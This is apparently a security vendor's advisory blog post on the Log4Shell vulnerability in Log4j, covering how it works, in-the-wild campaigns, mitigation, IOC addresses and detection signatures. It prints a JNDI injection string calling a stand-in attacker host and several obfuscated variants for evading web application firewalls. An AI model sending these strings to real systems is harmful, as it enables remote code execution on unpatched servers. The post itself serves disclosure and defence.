Log4Shell

Posted on 2021-12-28 by Dmitry Melikov

                 

On December 9, 2021, a vulnerability (CVE-2021-44228) was published to the global information security community. Logging utility Log4j (version 2.0 to 2.15.0-rc2 version) contained a critical remote code execution (RCE) vulnerability, which was dubbed Log4Shell. If a threat actor manages to execute an exploit on a vulnerable machine, they are able to execute arbitrary code and potentially gain full control over the system. Proof of concepts that have been published describe the relative ease of exploitation of this vulnerability, making this a highly critical vulnerability that has been rated 10/10. 

Many applications that work in the Java ecosystem utilize this logging utility and as a result, have become vulnerable.

Research shows that the bulk of attacks using this vulnerability began after publication/public disclosure. Cybersecurity personnel began immediately deploying systems to defend against attacks using this vulnerability.

Description of the vulnerability.

Vulnerability contained in Java logging package Log4j. The Log4j utility supports specific command prompts env, sys, jndi. The JNDI interface allows you to search for Java objects during program execution. Search for JNDI supports protocols such as LDAP and LDAPS.

A threat actor can inject JNDI expressions into logs if the following expression is used as a key jndi:ldap:// . In this case, the request is sent to the specified server over LDAP. An attacker can do this using ordinary HTTP requests. A remote server under the control of an attacker could return a malicious payload to a vulnerable server and execute arbitrary code. An attacker would then only need to send a special string that will be written to the log file and processed by the Log4j library.

The string sent by the attacker might be like this:

${jndi:ldap://malicious_url.com/z}

Evasion from detection.

After the publication, several organizations worldwide began to take measures to mitigate potential risks from this vulnerability. In addition to updating the vulnerable library, many opted to configure WAF (web application firewall) to not allow certain network requests that may attempt to exploit the vulnerability. Attackers started to use obfuscated strings that could freely bypass the WAF settings. Below we will look at several examples of string obfuscation that exploit this vulnerability.

${base64:JHtqbmRp

${::-l}${::-d}${::-a}${::-p}

%24%7bjndi:

\u0024\u007b\u006a\u006e\u0064\u0069


/$%7bjndi:

%24%7bjndi%3a

Examples of exploiting the vulnerability.

Several security companies have stated that they have observed exploits of this vulnerability prior to its official publication. However, widespread use began after December 9, 2021; when the bulk of exploits started to appear in the wild. The first malicious payloads were associated with Mirai and Kinsing crypto-miners. After a while, the attackers attempted to install Cobalt Strike on vulnerable systems. Starting on December 20, 2021, threat actors began to compromise systems using this vulnerability in order to install the banking trojan Dridex. 

A small test program that exploits this vulnerability.

 

InQuest Labs keeps track of the strings in the HTTP requests. Detection tools are also configured to detect obfuscated strings using different methods, including the above. We monitor the evolution of Log4Shell  in real-time, ensuring InQuest customers have the latest signature detections for this ongoing threat. 

Risk Mitigation Recommendations

  1. Upgrade Log4j to Log4j - 2.17.0 (or to the most recent version)
  2. Limit outgoing traffic to the Internet only from certain ports
  3. Follow the mitigation directions from this guide.

More to come as information becomes available and patches are released. Between the time of initial publication of this blog and the public disclosure of Log4Shell, patches for Log4j were discovered to have exposed further vulnerabilities with similar risks.

Testing for exposure

Here are some free testing services:

CISA's Log4j Scanner
FullHunt.io Log4j-scan
Nessus Apache Log4j 2.x < 2.16.0 RCE Plugin

IOCs

195.54.160[.]149
147.182.131[.]229
147.182.215[.]36
137.184.28[.]58
195.54.160[.]149
104.244.79[.]6
109.237.96[.]124
171.25.193[.]20
171.25.193[.]25
171.25.193[.]77
171.25.193[.]78
178.17.171[.]102
18.27.197[.]252
185.100.87[.]202
185.220.100[.]242
185.220.101[.]146
185.220.101[.]39
213.164.204[.]146
45.155.205[.]233
89.234.182[.]139

InQuest Signature Coverage

InQuest customers are protected against these attacks via the following published signatures, with further information available within the KB section of the UI.

3001156 - SC_File_with_Obfuscated_JNDI
3001157 - SC_Email_Body_with_Log4Shell_Reference
3001158 - SC_File_with_Log4Shell_Exploit_Pattern_Reference
3001162 - SC_File_with_Log4Shell_and_Base64_Reference
3001163 - SC_File_with_Log4Shell_and_ReverseShell_Reference
6000428 - HA_Possible_Log4Shell_Exploit_Attempt

Tags
in-the-wild